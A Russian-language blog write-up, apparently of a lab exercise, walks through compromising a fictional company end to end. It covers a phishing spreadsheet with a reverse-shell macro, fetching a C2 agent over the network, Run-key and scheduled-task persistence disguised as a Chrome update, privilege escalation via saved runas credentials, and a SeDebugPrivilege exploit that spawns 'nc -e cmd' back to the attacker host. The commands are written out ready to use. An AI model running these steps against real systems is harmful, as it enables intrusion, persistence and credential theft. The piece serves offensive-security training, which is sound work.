Вступление
Салют! Данный материал был выпущен специально для блога по информационной безопасности @mirea подписывайся там будет много интересного контента🎇
не забываем заходить в чат @greyhatchat тут вы можете найти потенциальных коллег. Ведем себя культурно=)
Небольшое напутствие
Если кто-то не понимает большую часть информации - это нормально. Я сам еще и близко не разобрался в теме, лишь делюсь своим опытом. Это просто мои заметки, чтобы я мог их перечитать через некоторое время и сравнить изменения.
Нужно понимать, что все приходит только с практикой.
Цель
Скомпрометировать выдуманную компанию. На руках у нас есть почтовый аккаунт с которого требуется заслать письмо сотруднику, который обычно работает с офисными документами.
сеть 10.112.0.0/24 почтовый сервер 10.109.0.100
Учетные данные для входа на почтовый сервер:
- Логин – [email protected]
- Пароль – Pass123$1
Сканируем сетку
Первым делом, что я буду делать - это сканировать всю доступную сетку на наличие открытых портов. Мне нужно понять сколько активных хостов в сети и что на них валяется, чтобы уже сообразить как это дело можно поломать.
пока все это дело сканируется мы пойдем дальше, не будем зря время тратить.
Генерируем макрос
Я написал в гугле “github reverse shell macro”. И нашел данный скрипт. Он довольно удобный. Склонировал себе на тачку, прописал ip port машины, где прослушиваешь входящее соединение и ждем.
Какой впн адрес мне выдал тот я и прописываю, чтобы далее бот, который откроет мой файл с макросом мог до меня достучаться. Порт ввожу любой доступный к примеру 31337
Включаем лисенер
nc -lnvp 31337
Тут я вспомнил, что у меня нет офиса. Пришлось его скачивать…
sudo apt update
sudo apt install libreoffice
NOTE
Еще со временем школы не дружил с офисными программами. Такая скучная темка. Бывало ехал в общественном транспорте, а там ботан залипает в моник таблички excel делает. ФУ! Скукота. Самая конченая работа. Ну это сугубо мое мнение естественно. То чем мы с вами сейчас занимаемся - это тоже не самая интересная работа, дальше должно быть чуть интереснее.
После установки либры запускаем нужный софт
libreoffice --calc
LibreOffice Calc поддерживает макросы в следующих форматах файлов:
- .ODS (OpenDocument Spreadsheet) – основной формат для LibreOffice Calc, поддерживающий макросы на языке LibreOffice Basic.
- .XLS и .XLSM (Excel) – LibreOffice может открывать файлы Excel с макросами (в формате .XLS или .XLSM), но функциональность макросов может быть ограничена из-за различий между VBA (используемым в Excel) и LibreOffice Basic.
- .ODT (OpenDocument Text) – для макросов в текстовых документах LibreOffice Writer, но Calc может использовать общие макросы, написанные в ODT и других модулях LibreOffice.
Также LibreOffice поддерживает макросы на Python, JavaScript, и BeanShell. Их можно писать и запускать через меню Инструменты > Макросы > Управление макросами.
Нас интересует формат .ODS, так было указано в задании.
Tools ⇒ Macros ⇒ Organize Macros ⇒ Basic
Вставляем макрос, который мы сгенерировали через питон.
Сохраняем данный макрос. И переходим в Tools ⇒ Customize
Задаем правила что бы при открытии и закрытии срабатывал макрос с открытием сокета
Сохраняем файл. Если что-то не понятно, то в интернете есть полно гайдов как создавать макросы для либры в формате .ods. Можете посмотреть. Но суть простая запускается файл, а вместе с ним макрос, который выполняет команду для powershell и к нам подключается зараженная машина. Точнее мы получаем шелл=)) Сейчас все покажу.
Отпрвавляем файл с макросом по почте
И так мы сгенерили макрос. Включили прослушиватель на 31337 порту. Теперь отправляем этот файл.
NOTE
Стоит учитывать момент, что к вашему лисенеру может подключиться только устройство. Как только подключается кто-то порт занят.
Всё хорошо, теперь у нас есть шелл. Зальем агента C2 для удобства. Как работать с Havoc описано в предудыщей статье, в телеграм канале и в официальной документации. Еще можете видеоролик рыжего посмотреть на ютубе=)
Закрепляемся в системе
Тут я начинаю понимать, что шелл слетает. Сбрасывается подключение. Нормально работать не получится с таким таймингом. Я пошел искать способы закрепиться в системе.
curl по каким-то причинам не работал. Пришлось использовать “iwr”
iwr http://10.0.0.114:8080/x2.exe -out x2.exe
Запускаем агента
.\x2
Ну вот собственно получили сессию, но как видно она сдохла. Проверим удаляется хоть наш агент после разрыва сессии или остается в той же директории. Выполним предыдущие шаги еще раз.
Да, все четко файл сохраняется. Остается сделать так, чтобы он автоматически запускался.
Я пробовал разные варианты например вот так
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v GoogleChromeUpdatex2 /t REG_SZ /d "c:\windows\tasks\x2.exe" /f
или
cmd.exe reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v GoogleChromeUpdatex2 /t REG_SZ /d "c:\windows\tasks\x2.exe" /f
Мимо. Шелл какой-то нехороший попался походу. Поэтому пришлось всё таки работать из под C2
shell reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v GoogleChromeUpdatex2 /t REG_SZ /d "c:\windows\tasks\x2.exe" /f
Прекрасно у нас есть закреп, теперь мы можем продолжать работу!
Повышаем привилегии
Первое, что я сделал это прочитал историю команд в powershell
shell type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Как видим после разрыва сессии появляется новая, т.к пользователь входит в систему=)
NOTE
runas /savecred /user:Р°Р?Р?РёР?РёС?С’С?ађР?С? cmd
exit
cmdkey /list
cmdkey /delete:“Domain:interactive=TERMINAL\Р°Р?Р?РёР?РёС?С’С?ађР?С?”
Вот и нашелся потенциальный вариант для повышения привилегий.
Даем права всем на исполнение нашего C2
icacls "c:\windows\tasks\x2.exe" /grant *S-1-1-0:(RX)
runas /savecred /user:TERMINAL\svc "c:\windows\tasks\x2.exe"
Как работает /savecred
NOTE
Когда вы используете
/savecred
вместе сrunas
, Windows запросит пароль для указанного пользователя (в данном случаеTERMINAL\svc
) только один раз. После этого Windows сохранит эти учетные данные в Диспетчере учетных данных. При последующих запусках команды с этим же параметром/savecred
и тем же пользователем, пароль вводить уже не потребуется.
Все теперь мы можем рбаотать от имени svc. Не забываем снова закрепиться.
shell reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v GoogleChromeUpdatex2 /t REG_SZ /d "c:\windows\tasks\x2.exe" /f
Повышаемся до уровня системы
Идея заключается в следующем: если у нас есть привилегия SeDebugPrivilege
, то мы можем использовать инструмент с GitHub bruno-1337/SeDebugPrivilege-Exploit для запуска nc.exe
(или аналогичной программы) от имени SYSTEM
. Это позволит получить доступ к командной оболочке с системными правами.
Стоит учитывать тот факт
NOTE
Привилегия резервного копирования Система должна предоставить весь контроль доступа на чтение к любому файлу (ограниченный операциями чтения) с помощью этой привилегии. Он используется для чтения хэшей паролей локальных учетных записей администратора из реестра, после чего такие инструменты, как “psexec” или “wmiexec”, могут быть использованы с хэшем (метод Pass-the-Hash). Однако этот метод не работает при двух условиях: когда учетная запись локального администратора отключена или когда существует политика, которая удаляет административные права у локальных администраторов, подключающихся удаленно
В havoc есть готовый модуль для включения данной привилегии. Логично, что если мы ее не включим, то эксплоит не сработает. Обязательно учитывайте тот факт, что эту команду нужно вводить каждый раз, когда вы подключаетесь к новой сессии.
token privs-get SeDebugPrivilege
Теперь посмотрим PID, который запущен от имени системы
tasklist /v
Я выберу любой процесс с svchost и включу прослушиватель на любом доступном порту.
nc -nlvp 31337
Ну и собственно говоря запускаем эксплоит и получаем шелл.
shell sdp.exe 1548 "c:\windows\tasks\nc.exe 10.0.0.114 31337 -e cmd"
Закреплялся я через планировщик
schtasks /create /tn DiskPentestera /tr "c:\windows\tasks\x2.exe" / sc onstart /ru SYSTEM /f
Ну дальше как обычно сливаем локальные креды и снова фаззим сетку. На этом пока что остановимся=)